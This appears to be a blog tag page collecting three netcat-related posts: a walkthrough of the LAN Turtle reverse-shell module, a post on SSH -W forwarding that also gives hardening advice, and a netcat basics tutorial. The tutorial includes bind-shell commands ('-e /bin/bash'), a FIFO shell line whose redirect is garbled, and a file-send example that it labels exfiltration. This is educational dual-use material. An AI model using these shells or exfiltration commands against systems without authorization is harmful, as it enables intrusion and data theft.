Tag: netcat

Hacker-Tool Hump-Day – LAN Turtle Modules – netcat-revshell

Since we’ve covered netcat in the past (briefly,) this is a good module to jump in on for today.

This module creates an outbound netcat connection to an already listening netcat remote listener, and presents a shell to that connection. It almost sounds backwards, but here’s the set up.

Before you configure this module, you need a shell account on a target box that also has netcat installed. For my example, the box is OpenBSD based, so the “netcat” is “nc” and has all of the flags I care about by default. We’ll call this “Server_B” since you’re connecting to this as a target. The first step is to get the IP address of the server. An “ifconfig -a” shows all of the interfaces, or an nslookup of the domain name should get this for you. If it has multiple interfaces configured, you can check the routing tables with “netstat -nr” and look for the default gateway to figure out which IP belongs on that subnet. Whatever the case, the LAN Turtle needs to be able to talk to that same network from its ethernet jack.

For our purposes, we’ll assume the IP was 192.168.0.7.

We also need an available port. “netstat -an | grep LISTEN” will show the ports already taken. For this example, 8080 is free, so we’ll use it.

To set this up, run the following netcat command:
nc -k -l -v 192.168.0.7 8080

Now switch to your LAN Turtle interface, and go to the Modules menu. Select the netcat-revshell module and go to “Configure” to toss the IP and PORT into the fields. After you back out, you can hit “Start” and you should see activity on the netcat listener you started on Server_B. In our example, we got this line:
Connection from 192.168.0.174 58624 received!

Remember that the listening netcat process was just presented a shell back into the LAN Turtle. You won’t see a prompt, because it’s not a proper login, so your environment isn’t set up. However, you should be able to type commands and get responses back. For example, “uname -a” returns this:
Linux turtle 3.10.49 #7 Thu Jul 16 05:05:51 PDT 2015 mips GNU/Linux

You can stop the reverse shell at any time from the Turtle, using the menu option. If you “Enable” this, it will make an attempt at creating that reverse shell on start up next time it is plugged in or rebooted. In other words, if you want this to persist, you’ll need to keep the netcat listener running on that target box all the time.

The benefits to having this are the speed and efficiency in setting it up for getting a shell back into the Turtle from the LAN side of the interface. For example, if you plugged the Turtle into a USB power adapter, but wanted to be able to get into it for further configuration and work, you would want this module or one like it to present that shell for you. It’s not fancy, but it gets the job done.

The Hak5 LAN Turtle is a versatile tool for any hacker (or system’s administrator) to have on hand.

SSH Start to Finish Architecture – TCP Forwarding of STDIN/STDOUT

Last week we covered the standard TCP forwarding flags: -L, -R, and -D.

I explicitly held off on showing -W and -w, because I felt they deserved their own coverage.

We’ll cover the -w (dealing with tunnel devices) next week. This week is all about -W. Before we continue, you should note that one of my Wednesday posts was a brief overview of the netcat family of tools. If you think of “-W :” as a built in netcat for ssh, you’ll grasp the power of this flag pretty quickly. The most common example given for using this flag is the use of the ProxyCommand option to call SSH against a jumphost, and passing this flag to that host. The old way of utilizing ProxyCommand in this fashion was to actually call netcat as the remote proxy command, like so:

ssh -o ProxyCommand=’ssh jumphost netcat target_server 22′ target_server

Or if “Server_B” is our jumphost and we want to actually end up on “Server_A” by utilizing “Server_B” as a proxy, we would do it like this:
ssh -o ProxyCommand=’ssh Server_B netcat Server_A 22′ Server_A

That was all well and good, if netcat was actually installed, but sometimes it wasn’t. Luckily, SSH has its own built in netcat of sorts, via the -W flag. To do the same thing as above, we would do this, instead:
ssh -o ProxyCommand=”ssh -W %h:%p Server_B” Server_A

This is shorter, cleaner, and doesn’t rely on netcat at the jump server proxy point. Now let’s take this a step further. Let’s assume you want to pull a page down using command line, and you want to proxy through Server_B to get that page from Server_A.

echo “GET /some/page.html” | ssh -W Server_A:80 Server_B >page.html

Why might you want to do this? If you don’t have a direct route to Server_A on that port, but you can get to Server_B via SSH, and IT has access to Server_A on that port, you have a quick and dirty makeshift proxy.

Let’s sideline this thought process for a moment, and think about how many people try to lock down local accounts (stored in /etc/passwd.) Many people will give an account the “/bin/false” process as the “shell” to prevent logins to a shell. However, if you never actually attempt to get a shell with that account, you can use that account to proxy around all day long with the default sshd_config settings. If you want to disable this functionality, (and you should consider it, for the reasons demonstrated above,) you should set AllowTCPForwarding to “no” in the sshd_config file, and restart sshd.

There is a conversation floating around on social media right now about the Internet of Things botnet that took down Krebs’ blog, recently. One of the security vendors has suggested that an attack they are calling “SSHowDowN,” and this kind of functionality is exactly what they are referring to.

This kind of thing is really cool, when used correctly, but it’s also dangerous for poking holes in router and firewall access control lists.

If you have any experiences with this you’d like to share, leave a comment!

Hacker-Tool Hump-Day – netcat

I was planning to do a continuation of the LAN Turtle exploration and experimentation today, but I’ve had several delays on getting my posts written. Friday’s post will explain a bit more on that. To keep things somewhat short and sweet, I decided to cover one of the Swiss Army knife tools in a hacker and/or a sysadmin’s pocket: netcat.

There are several versions of this program available, and they all have varying degrees of functionality, but for the most part you can expect that it will allow for at least a “one connection” listening socket function, and at least a “one connection” talking sending socket function. In other words, you can open a listening socket to receive one stream of information, or to send one stream of information. Usually this is terminated by an EOF (end of file) character. Some versions will keep the listening socket (when acting as a server) open. Some versions need to be placed inside a while loop to re-open that listening socket for persistence. Some versions allow for binding the output to a specific command, while others require some effort of juggling file descriptors to achieve the same kind of goal. Whatever version you have, it’s a handy tool for both troubleshooting, and swift involuntary copying of data (exfiltration.)

The command may be called “netcat,” “ncat,” or “nc,” depending on the version. To my knowledge, all versions have a “-l” flag for listening as a service, so the easiest example is to create a listening service on a port on one host, and then connect to that port from another host to send some information.
On host 1 (host1):
netcat -l 1234
On host 2 (host2):
cat somefile.txt | nc host1 1234

This will send the contents of “somefile.txt” to the standard out of the listening service on host1. You can redirect the output on that listening service to a file, if you like. Once the EOF is reached, the listening service will terminate.

If you have a version that has the “-k” flag, you can use this flag to keep the service open to receive more data even when the “client” has finished sending and terminates its connection.

netcat -k -l 1234

If you want to send or receive UDP packets instead of TCP, you can use the “-u” flag.

If you want to bind it to a process (usually a shell) and the flag is available, you would use “-e” for this.

netcat -k -l -e /bin/bash 1234

You won’t get a full login session doing it this way, so no prompt or any other indicators that you have a shell once you connect. You’ll have to learn to get used to this, but it’s not bad.

When the -e flag isn’t available, you can do something similar using redirects and a FIFO (also known as a named pipe.)

mkfifo /tmp/namedpipe
nc -k -l 1234 0/tmp/namedpipe

I will most likely go more in depth on this command later (especially when I get to the netcat module in the LAN Turtle,) but for now, this covers most of the basics a person might want.

I will also cover netcat’s beefier brother “socat” at some point down the road.

If you enjoyed this, leave a comment or hit me up on Twitter @stefanrjohnson